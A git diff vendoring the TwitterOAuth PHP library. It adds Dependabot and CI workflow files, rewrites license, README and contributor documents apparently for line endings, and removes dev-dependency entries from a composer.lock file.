diff --git a/vendor/abraham/twitteroauth/.github/dependabot.yml b/vendor/abraham/twitteroauth/.github/dependabot.yml new file mode 100644 index 0000000000..e064c4e0e9 --- /dev/null +++ b/vendor/abraham/twitteroauth/.github/dependabot.yml @@ -0,0 +1,14 @@ +version: 2 +updates: + - package-ecosystem: npm + directory: '/' + schedule: + interval: daily + time: '11:00' + open-pull-requests-limit: 10 + - package-ecosystem: composer + directory: '/' + schedule: + interval: daily + time: '11:00' + open-pull-requests-limit: 10 diff --git a/vendor/abraham/twitteroauth/.github/workflows/lint.yaml b/vendor/abraham/twitteroauth/.github/workflows/lint.yaml new file mode 100644 index 0000000000..6b718cd8e7 --- /dev/null +++ b/vendor/abraham/twitteroauth/.github/workflows/lint.yaml @@ -0,0 +1,12 @@ +name: Lint +on: push +jobs: + lint: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v2 + - uses: actions/setup-node@v1 + with: + node-version: 12 + - run: npm ci + - run: npm run lint diff --git a/vendor/abraham/twitteroauth/.github/workflows/test.yaml b/vendor/abraham/twitteroauth/.github/workflows/test.yaml new file mode 100644 index 0000000000..4ef8527585 --- /dev/null +++ b/vendor/abraham/twitteroauth/.github/workflows/test.yaml @@ -0,0 +1,18 @@ +name: Test +on: push +jobs: + run: + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + php-versions: ['7.2', '7.3', '7.4'] + name: PHP ${{ matrix.php-versions }} + steps: + - uses: actions/checkout@v2 + - uses: shivammathur/setup-php@v2 + with: + php-version: ${{ matrix.php-versions }} + - run: composer validate --no-interaction --strict + - run: composer install --no-interaction --prefer-dist + - run: npm test diff --git a/vendor/abraham/twitteroauth/.gitignore b/vendor/abraham/twitteroauth/.gitignore new file mode 100644 index 0000000000..f018d18ac3 --- /dev/null +++ b/vendor/abraham/twitteroauth/.gitignore @@ -0,0 +1,5 @@ +.DS_Store +vendor +env +*.cache +node_modules diff --git a/vendor/abraham/twitteroauth/.prettierignore b/vendor/abraham/twitteroauth/.prettierignore index 5f92018587..fb96e45209 100644 --- a/vendor/abraham/twitteroauth/.prettierignore +++ b/vendor/abraham/twitteroauth/.prettierignore @@ -1,3 +1,3 @@ -vendor -composer.lock -tests/fixtures +vendor +composer.lock +tests/fixtures diff --git a/vendor/abraham/twitteroauth/.prettierrc.json b/vendor/abraham/twitteroauth/.prettierrc.json index 1625061c07..cf18896b8a 100644 --- a/vendor/abraham/twitteroauth/.prettierrc.json +++ b/vendor/abraham/twitteroauth/.prettierrc.json @@ -1,6 +1,6 @@ -{ - "singleQuote": true, - "phpVersion": "7.2", - "trailingCommaPHP": true, - "braceStyle": "psr-2" -} +{ + "singleQuote": true, + "phpVersion": "7.2", + "trailingCommaPHP": true, + "braceStyle": "psr-2" +} diff --git a/vendor/abraham/twitteroauth/CODE_OF_CONDUCT.md b/vendor/abraham/twitteroauth/CODE_OF_CONDUCT.md index 92aa852a97..80b4239091 100644 --- a/vendor/abraham/twitteroauth/CODE_OF_CONDUCT.md +++ b/vendor/abraham/twitteroauth/CODE_OF_CONDUCT.md @@ -1,46 +1,46 @@ -# Contributor Covenant Code of Conduct - -## Our Pledge - -In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. - -## Our Standards - -Examples of behavior that contributes to creating a positive environment include: - -- Using welcoming and inclusive language -- Being respectful of differing viewpoints and experiences -- Gracefully accepting constructive criticism -- Focusing on what is best for the community -- Showing empathy towards other community members - -Examples of unacceptable behavior by participants include: - -- The use of sexualized language or imagery and unwelcome sexual attention or advances -- Trolling, insulting/derogatory comments, and personal or political attacks -- Public or private harassment -- Publishing others' private information, such as a physical or electronic address, without explicit permission -- Other conduct which could reasonably be considered inappropriate in a professional setting - -## Our Responsibilities - -Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. - -Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. - -## Scope - -This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. - -## Enforcement - -Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at abraham@abrah.am. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. - -Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. - -## Attribution - -This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] - -[homepage]: http://contributor-covenant.org -[version]: http://contributor-covenant.org/version/1/4/ +# Contributor Covenant Code of Conduct + +## Our Pledge + +In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. + +## Our Standards + +Examples of behavior that contributes to creating a positive environment include: + +- Using welcoming and inclusive language +- Being respectful of differing viewpoints and experiences +- Gracefully accepting constructive criticism +- Focusing on what is best for the community +- Showing empathy towards other community members + +Examples of unacceptable behavior by participants include: + +- The use of sexualized language or imagery and unwelcome sexual attention or advances +- Trolling, insulting/derogatory comments, and personal or political attacks +- Public or private harassment +- Publishing others' private information, such as a physical or electronic address, without explicit permission +- Other conduct which could reasonably be considered inappropriate in a professional setting + +## Our Responsibilities + +Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. + +Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. + +## Scope + +This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at abraham@abrah.am. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. + +Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] + +[homepage]: http://contributor-covenant.org +[version]: http://contributor-covenant.org/version/1/4/ diff --git a/vendor/abraham/twitteroauth/CONTRIBUTING.md b/vendor/abraham/twitteroauth/CONTRIBUTING.md index e81268dd01..d941b2c947 100644 --- a/vendor/abraham/twitteroauth/CONTRIBUTING.md +++ b/vendor/abraham/twitteroauth/CONTRIBUTING.md @@ -1,21 +1,21 @@ -# Contributing to TwitterOAuth - -## 👏 Thanks! - -Thanks for your interest in contributing to TwitterOAuth. We appreciate contributions small and large. - -## 🌱 Grow - -If you have an idea for something new or would like to improve something. Please [open a quick issue](https://github.com/abraham/twitteroauth/issues/new) explaining the changes and the reasons for them. Everyone's time is important and we don't want you duplicating work someone else might already be working on. - -GitHub has [outlined instructions](https://help.github.com/articles/fork-a-repo/) for forking a repo. To work on an update to this repo, you will: - -- Fork the repo -- Make the changes -- Submit a pull request - -Once the [pull request](https://help.github.com/articles/about-pull-requests/) is reviewed, if the changes are approved they will be merged in to the project. - -## 🐛 Bugs - -Please [open a new issue](https://github.com/abraham/twitteroauth/issues/new) and details what you are trying to do, what is happening, and what you expect to happen. Err on the side of providing more details. +# Contributing to TwitterOAuth + +## 👏 Thanks! + +Thanks for your interest in contributing to TwitterOAuth. We appreciate contributions small and large. + +## 🌱 Grow + +If you have an idea for something new or would like to improve something. Please [open a quick issue](https://github.com/abraham/twitteroauth/issues/new) explaining the changes and the reasons for them. Everyone's time is important and we don't want you duplicating work someone else might already be working on. + +GitHub has [outlined instructions](https://help.github.com/articles/fork-a-repo/) for forking a repo. To work on an update to this repo, you will: + +- Fork the repo +- Make the changes +- Submit a pull request + +Once the [pull request](https://help.github.com/articles/about-pull-requests/) is reviewed, if the changes are approved they will be merged in to the project. + +## 🐛 Bugs + +Please [open a new issue](https://github.com/abraham/twitteroauth/issues/new) and details what you are trying to do, what is happening, and what you expect to happen. Err on the side of providing more details. diff --git a/vendor/abraham/twitteroauth/LICENSE.md b/vendor/abraham/twitteroauth/LICENSE.md index c62dc49b18..3a631e0cf8 100644 --- a/vendor/abraham/twitteroauth/LICENSE.md +++ b/vendor/abraham/twitteroauth/LICENSE.md @@ -1,22 +1,22 @@ -Copyright (c) 2009 Abraham Williams - http://abrah.am - abraham@abrah.am - -Permission is hereby granted, free of charge, to any person -obtaining a copy of this software and associated documentation -files (the "Software"), to deal in the Software without -restriction, including without limitation the rights to use, -copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the -Software is furnished to do so, subject to the following -conditions: - -The above copyright notice and this permission notice shall be -included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES -OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND -NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT -HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, -WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR -OTHER DEALINGS IN THE SOFTWARE. +Copyright (c) 2009 Abraham Williams - http://abrah.am - abraham@abrah.am + +Permission is hereby granted, free of charge, to any person +obtaining a copy of this software and associated documentation +files (the "Software"), to deal in the Software without +restriction, including without limitation the rights to use, +copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the +Software is furnished to do so, subject to the following +conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES +OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT +HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR +OTHER DEALINGS IN THE SOFTWARE. diff --git a/vendor/abraham/twitteroauth/README.md b/vendor/abraham/twitteroauth/README.md index 6efc46f5ff..5afe95f095 100644 --- a/vendor/abraham/twitteroauth/README.md +++ b/vendor/abraham/twitteroauth/README.md @@ -1,11 +1,11 @@ -TwitterOAuth [![Build Status](https://github.com/abraham/twitteroauth/workflows/Test/badge.svg)](https://github.com/abraham/twitteroauth/actions) [![Scrutinizer Code Quality](https://scrutinizer-ci.com/g/abraham/twitteroauth/badges/quality-score.png?b=master)](https://scrutinizer-ci.com/g/abraham/twitteroauth/?branch=master) [![Issues Count](https://img.shields.io/github/issues/abraham/twitteroauth.svg)](https://github.com/abraham/twitteroauth/issues) [![Latest Version](https://img.shields.io/packagist/v/abraham/twitteroauth.svg)](https://packagist.org/packages/abraham/twitteroauth) [![Downloads this Month](https://img.shields.io/packagist/dm/abraham/twitteroauth.svg)](https://packagist.org/packages/abraham/twitteroauth) - ---- - -

The most popular PHP library for Twitter's OAuth REST API.

- -See documentation at https://twitteroauth.com. - -PHP versions [listed](https://secure.php.net/supported-versions.php) as "active support" or "security fixes only" are supported. - -Twitter bird +TwitterOAuth [![Build Status](https://github.com/abraham/twitteroauth/workflows/Test/badge.svg)](https://github.com/abraham/twitteroauth/actions) [![Scrutinizer Code Quality](https://scrutinizer-ci.com/g/abraham/twitteroauth/badges/quality-score.png?b=master)](https://scrutinizer-ci.com/g/abraham/twitteroauth/?branch=master) [![Issues Count](https://img.shields.io/github/issues/abraham/twitteroauth.svg)](https://github.com/abraham/twitteroauth/issues) [![Latest Version](https://img.shields.io/packagist/v/abraham/twitteroauth.svg)](https://packagist.org/packages/abraham/twitteroauth) [![Downloads this Month](https://img.shields.io/packagist/dm/abraham/twitteroauth.svg)](https://packagist.org/packages/abraham/twitteroauth) + +--- + +

The most popular PHP library for Twitter's OAuth REST API.

+ +See documentation at https://twitteroauth.com. + +PHP versions [listed](https://secure.php.net/supported-versions.php) as "active support" or "security fixes only" are supported. + +Twitter bird diff --git a/vendor/abraham/twitteroauth/autoload.php b/vendor/abraham/twitteroauth/autoload.php index 2d0be684d5..3379754556 100644 --- a/vendor/abraham/twitteroauth/autoload.php +++ b/vendor/abraham/twitteroauth/autoload.php @@ -1,35 +1,35 @@ -=6.0.0 <8" - }, - "suggest": { - "ext-intl": "Needed to allow Assertion::count(), Assertion::isCountable(), Assertion::minCount(), and Assertion::maxCount() to operate on ResourceBundles" - }, - "type": "library", - "autoload": { - "psr-4": { - "Assert\\": "lib/Assert" - }, - "files": [ - "lib/Assert/functions.php" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-2-Clause" - ], - "authors": [ - { - "name": "Benjamin Eberlei", - "email": "kontakt@beberlei.de", - "role": "Lead Developer" - }, - { - "name": "Richard Quadling", - "email": "rquadling@gmail.com", - "role": "Collaborator" - } - ], - "description": "Thin assertion library for input validation in business models.", - "keywords": [ - "assert", - "assertion", - "validation" - ], - "time": "2019-12-19T17:51:41+00:00" - }, - { - "name": "composer/xdebug-handler", - "version": "1.4.3", - "source": { - "type": "git", - "url": "https://github.com/composer/xdebug-handler.git", - "reference": "ebd27a9866ae8254e873866f795491f02418c5a5" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/composer/xdebug-handler/zipball/ebd27a9866ae8254e873866f795491f02418c5a5", - "reference": "ebd27a9866ae8254e873866f795491f02418c5a5", - "shasum": "" - }, - "require": { - "php": "^5.3.2 || ^7.0 || ^8.0", - "psr/log": "^1.0" - }, - "require-dev": { - "phpunit/phpunit": "^4.8.35 || ^5.7 || 6.5 - 8" - }, - "type": "library", - "autoload": { - "psr-4": { - "Composer\\XdebugHandler\\": "src" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "John Stevenson", - "email": "john-stevenson@blueyonder.co.uk" - } - ], - "description": "Restarts a process without Xdebug.", - "keywords": [ - "Xdebug", - "performance" - ], - "funding": [ - { - "url": "https://packagist.com", - "type": "custom" - }, - { - "url": "https://github.com/composer", - "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/composer/composer", - "type": "tidelift" - } - ], - "time": "2020-08-19T10:27:58+00:00" - }, - { - "name": "doctrine/instantiator", - "version": "1.3.1", - "source": { - "type": "git", - "url": "https://github.com/doctrine/instantiator.git", - "reference": "f350df0268e904597e3bd9c4685c53e0e333feea" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/doctrine/instantiator/zipball/f350df0268e904597e3bd9c4685c53e0e333feea", - "reference": "f350df0268e904597e3bd9c4685c53e0e333feea", - "shasum": "" - }, - "require": { - "php": "^7.1 || ^8.0" - }, - "require-dev": { - "doctrine/coding-standard": "^6.0", - "ext-pdo": "*", - "ext-phar": "*", - "phpbench/phpbench": "^0.13", - "phpstan/phpstan-phpunit": "^0.11", - "phpstan/phpstan-shim": "^0.11", - "phpunit/phpunit": "^7.0" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.2.x-dev" - } - }, - "autoload": { - "psr-4": { - "Doctrine\\Instantiator\\": "src/Doctrine/Instantiator/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Marco Pivetta", - "email": "ocramius@gmail.com", - "homepage": "http://ocramius.github.com/" - } - ], - "description": "A small, lightweight utility to instantiate objects in PHP without invoking their constructors", - "homepage": "https://www.doctrine-project.org/projects/instantiator.html", - "keywords": [ - "constructor", - "instantiate" - ], - "funding": [ - { - "url": "https://www.doctrine-project.org/sponsorship.html", - "type": "custom" - }, - { - "url": "https://www.patreon.com/phpdoctrine", - "type": "patreon" - }, - { - "url": "https://tidelift.com/funding/github/packagist/doctrine%2Finstantiator", - "type": "tidelift" - } - ], - "time": "2020-05-29T17:27:14+00:00" - }, - { - "name": "myclabs/deep-copy", - "version": "1.10.1", - "source": { - "type": "git", - "url": "https://github.com/myclabs/DeepCopy.git", - "reference": "969b211f9a51aa1f6c01d1d2aef56d3bd91598e5" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/myclabs/DeepCopy/zipball/969b211f9a51aa1f6c01d1d2aef56d3bd91598e5", - "reference": "969b211f9a51aa1f6c01d1d2aef56d3bd91598e5", - "shasum": "" - }, - "require": { - "php": "^7.1 || ^8.0" - }, - "replace": { - "myclabs/deep-copy": "self.version" - }, - "require-dev": { - "doctrine/collections": "^1.0", - "doctrine/common": "^2.6", - "phpunit/phpunit": "^7.1" - }, - "type": "library", - "autoload": { - "psr-4": { - "DeepCopy\\": "src/DeepCopy/" - }, - "files": [ - "src/DeepCopy/deep_copy.php" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "description": "Create deep copies (clones) of your objects", - "keywords": [ - "clone", - "copy", - "duplicate", - "object", - "object graph" - ], - "funding": [ - { - "url": "https://tidelift.com/funding/github/packagist/myclabs/deep-copy", - "type": "tidelift" - } - ], - "time": "2020-06-29T13:22:24+00:00" - }, - { - "name": "pdepend/pdepend", - "version": "2.8.0", - "source": { - "type": "git", - "url": "https://github.com/pdepend/pdepend.git", - "reference": "c64472f8e76ca858c79ad9a4cf1e2734b3f8cc38" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/pdepend/pdepend/zipball/c64472f8e76ca858c79ad9a4cf1e2734b3f8cc38", - "reference": "c64472f8e76ca858c79ad9a4cf1e2734b3f8cc38", - "shasum": "" - }, - "require": { - "php": ">=5.3.7", - "symfony/config": "^2.3.0|^3|^4|^5", - "symfony/dependency-injection": "^2.3.0|^3|^4|^5", - "symfony/filesystem": "^2.3.0|^3|^4|^5" - }, - "require-dev": { - "easy-doc/easy-doc": "0.0.0 || ^1.2.3", - "gregwar/rst": "^1.0", - "phpunit/phpunit": "^4.8.35|^5.7", - "squizlabs/php_codesniffer": "^2.0.0" - }, - "bin": [ - "src/bin/pdepend" - ], - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "2.x-dev" - } - }, - "autoload": { - "psr-4": { - "PDepend\\": "src/main/php/PDepend" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "description": "Official version of pdepend to be handled with Composer", - "funding": [ - { - "url": "https://tidelift.com/funding/github/packagist/pdepend/pdepend", - "type": "tidelift" - } - ], - "time": "2020-06-20T10:53:13+00:00" - }, - { - "name": "phar-io/manifest", - "version": "1.0.3", - "source": { - "type": "git", - "url": "https://github.com/phar-io/manifest.git", - "reference": "7761fcacf03b4d4f16e7ccb606d4879ca431fcf4" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/phar-io/manifest/zipball/7761fcacf03b4d4f16e7ccb606d4879ca431fcf4", - "reference": "7761fcacf03b4d4f16e7ccb606d4879ca431fcf4", - "shasum": "" - }, - "require": { - "ext-dom": "*", - "ext-phar": "*", - "phar-io/version": "^2.0", - "php": "^5.6 || ^7.0" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.0.x-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Arne Blankerts", - "email": "arne@blankerts.de", - "role": "Developer" - }, - { - "name": "Sebastian Heuer", - "email": "sebastian@phpeople.de", - "role": "Developer" - }, - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "Developer" - } - ], - "description": "Component for reading phar.io manifest information from a PHP Archive (PHAR)", - "time": "2018-07-08T19:23:20+00:00" - }, - { - "name": "phar-io/version", - "version": "2.0.1", - "source": { - "type": "git", - "url": "https://github.com/phar-io/version.git", - "reference": "45a2ec53a73c70ce41d55cedef9063630abaf1b6" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/phar-io/version/zipball/45a2ec53a73c70ce41d55cedef9063630abaf1b6", - "reference": "45a2ec53a73c70ce41d55cedef9063630abaf1b6", - "shasum": "" - }, - "require": { - "php": "^5.6 || ^7.0" - }, - "type": "library", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Arne Blankerts", - "email": "arne@blankerts.de", - "role": "Developer" - }, - { - "name": "Sebastian Heuer", - "email": "sebastian@phpeople.de", - "role": "Developer" - }, - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "Developer" - } - ], - "description": "Library for handling version information and constraints", - "time": "2018-07-08T19:19:57+00:00" - }, - { - "name": "php-vcr/php-vcr", - "version": "1.5.0", - "source": { - "type": "git", - "url": "https://github.com/php-vcr/php-vcr.git", - "reference": "1b152a62f5289373d40eee456992f32abfae144f" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/php-vcr/php-vcr/zipball/1b152a62f5289373d40eee456992f32abfae144f", - "reference": "1b152a62f5289373d40eee456992f32abfae144f", - "shasum": "" - }, - "require": { - "beberlei/assert": "^3.2.5", - "ext-curl": "*", - "php": ">=7.2", - "symfony/event-dispatcher": "^2.4|^3.0|^4.0|^5.0", - "symfony/yaml": "~2.1|^3.0|^4.0|^5.0" - }, - "require-dev": { - "friendsofphp/php-cs-fixer": "^2.16", - "mikey179/vfsstream": "^1.6", - "phpstan/phpstan": "^0.12", - "phpstan/phpstan-beberlei-assert": "^0.12.0", - "phpunit/phpunit": "^7.4.3", - "sebastian/version": "^1.0.3|^2.0", - "thecodingmachine/phpstan-strict-rules": "^0.12" - }, - "type": "library", - "autoload": { - "psr-4": { - "VCR\\": "src/VCR/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Adrian Philipp", - "email": "mail@adrian-philipp.com" - } - ], - "description": "Record your test suite's HTTP interactions and replay them during future test runs for fast, deterministic, accurate tests.", - "time": "2020-07-28T11:55:05+00:00" - }, - { - "name": "php-vcr/phpunit-testlistener-vcr", - "version": "3.2.1", - "source": { - "type": "git", - "url": "https://github.com/php-vcr/phpunit-testlistener-vcr.git", - "reference": "299aaf88533cee3ae64e99bdc6ad5b97fb495f21" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/php-vcr/phpunit-testlistener-vcr/zipball/299aaf88533cee3ae64e99bdc6ad5b97fb495f21", - "reference": "299aaf88533cee3ae64e99bdc6ad5b97fb495f21", - "shasum": "" - }, - "require": { - "php": "^7.1", - "php-vcr/php-vcr": "^1.4" - }, - "require-dev": { - "phpunit/phpunit": "^7.0" - }, - "type": "library", - "autoload": { - "psr-4": { - "VCR\\PHPUnit\\TestListener\\": "src/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Adrian Philipp", - "email": "mail@adrian-philipp.com" - } - ], - "description": "Integrates PHPUnit with PHP-VCR.", - "time": "2018-07-06T08:53:21+00:00" - }, - { - "name": "phpdocumentor/reflection-common", - "version": "2.2.0", - "source": { - "type": "git", - "url": "https://github.com/phpDocumentor/ReflectionCommon.git", - "reference": "1d01c49d4ed62f25aa84a747ad35d5a16924662b" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/phpDocumentor/ReflectionCommon/zipball/1d01c49d4ed62f25aa84a747ad35d5a16924662b", - "reference": "1d01c49d4ed62f25aa84a747ad35d5a16924662b", - "shasum": "" - }, - "require": { - "php": "^7.2 || ^8.0" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-2.x": "2.x-dev" - } - }, - "autoload": { - "psr-4": { - "phpDocumentor\\Reflection\\": "src/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Jaap van Otterdijk", - "email": "opensource@ijaap.nl" - } - ], - "description": "Common reflection classes used by phpdocumentor to reflect the code structure", - "homepage": "http://www.phpdoc.org", - "keywords": [ - "FQSEN", - "phpDocumentor", - "phpdoc", - "reflection", - "static analysis" - ], - "time": "2020-06-27T09:03:43+00:00" - }, - { - "name": "phpdocumentor/reflection-docblock", - "version": "5.2.1", - "source": { - "type": "git", - "url": "https://github.com/phpDocumentor/ReflectionDocBlock.git", - "reference": "d870572532cd70bc3fab58f2e23ad423c8404c44" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/phpDocumentor/ReflectionDocBlock/zipball/d870572532cd70bc3fab58f2e23ad423c8404c44", - "reference": "d870572532cd70bc3fab58f2e23ad423c8404c44", - "shasum": "" - }, - "require": { - "ext-filter": "*", - "php": "^7.2 || ^8.0", - "phpdocumentor/reflection-common": "^2.2", - "phpdocumentor/type-resolver": "^1.3", - "webmozart/assert": "^1.9.1" - }, - "require-dev": { - "mockery/mockery": "~1.3.2" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "5.x-dev" - } - }, - "autoload": { - "psr-4": { - "phpDocumentor\\Reflection\\": "src" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Mike van Riel", - "email": "me@mikevanriel.com" - }, - { - "name": "Jaap van Otterdijk", - "email": "account@ijaap.nl" - } - ], - "description": "With this component, a library can provide support for annotations via DocBlocks or otherwise retrieve information that is embedded in a DocBlock.", - "time": "2020-08-15T11:14:08+00:00" - }, - { - "name": "phpdocumentor/type-resolver", - "version": "1.3.0", - "source": { - "type": "git", - "url": "https://github.com/phpDocumentor/TypeResolver.git", - "reference": "e878a14a65245fbe78f8080eba03b47c3b705651" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/phpDocumentor/TypeResolver/zipball/e878a14a65245fbe78f8080eba03b47c3b705651", - "reference": "e878a14a65245fbe78f8080eba03b47c3b705651", - "shasum": "" - }, - "require": { - "php": "^7.2 || ^8.0", - "phpdocumentor/reflection-common": "^2.0" - }, - "require-dev": { - "ext-tokenizer": "*" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-1.x": "1.x-dev" - } - }, - "autoload": { - "psr-4": { - "phpDocumentor\\Reflection\\": "src" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Mike van Riel", - "email": "me@mikevanriel.com" - } - ], - "description": "A PSR-5 based resolver of Class names, Types and Structural Element Names", - "time": "2020-06-27T10:12:23+00:00" - }, - { - "name": "phpmd/phpmd", - "version": "2.9.0", - "source": { - "type": "git", - "url": "https://github.com/phpmd/phpmd.git", - "reference": "2a346575a45a6f00e631f4d7f3f71b6a05e0d46d" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/phpmd/phpmd/zipball/2a346575a45a6f00e631f4d7f3f71b6a05e0d46d", - "reference": "2a346575a45a6f00e631f4d7f3f71b6a05e0d46d", - "shasum": "" - }, - "require": { - "composer/xdebug-handler": "^1.0", - "ext-xml": "*", - "pdepend/pdepend": "^2.7.1", - "php": ">=5.3.9" - }, - "require-dev": { - "easy-doc/easy-doc": "0.0.0 || ^1.3.2", - "ext-json": "*", - "ext-simplexml": "*", - "gregwar/rst": "^1.0", - "mikey179/vfsstream": "^1.6.4", - "phpunit/phpunit": "^4.8.36 || ^5.7.27", - "squizlabs/php_codesniffer": "^2.0" - }, - "bin": [ - "src/bin/phpmd" - ], - "type": "library", - "autoload": { - "psr-0": { - "PHPMD\\": "src/main/php" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Manuel Pichler", - "email": "github@manuel-pichler.de", - "homepage": "https://github.com/manuelpichler", - "role": "Project Founder" - }, - { - "name": "Marc Würth", - "email": "ravage@bluewin.ch", - "homepage": "https://github.com/ravage84", - "role": "Project Maintainer" - }, - { - "name": "Other contributors", - "homepage": "https://github.com/phpmd/phpmd/graphs/contributors", - "role": "Contributors" - } - ], - "description": "PHPMD is a spin-off project of PHP Depend and aims to be a PHP equivalent of the well known Java tool PMD.", - "homepage": "https://phpmd.org/", - "keywords": [ - "mess detection", - "mess detector", - "pdepend", - "phpmd", - "pmd" - ], - "funding": [ - { - "url": "https://tidelift.com/funding/github/packagist/phpmd/phpmd", - "type": "tidelift" - } - ], - "time": "2020-09-02T09:12:27+00:00" - }, - { - "name": "phpspec/prophecy", - "version": "1.11.1", - "source": { - "type": "git", - "url": "https://github.com/phpspec/prophecy.git", - "reference": "b20034be5efcdab4fb60ca3a29cba2949aead160" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/phpspec/prophecy/zipball/b20034be5efcdab4fb60ca3a29cba2949aead160", - "reference": "b20034be5efcdab4fb60ca3a29cba2949aead160", - "shasum": "" - 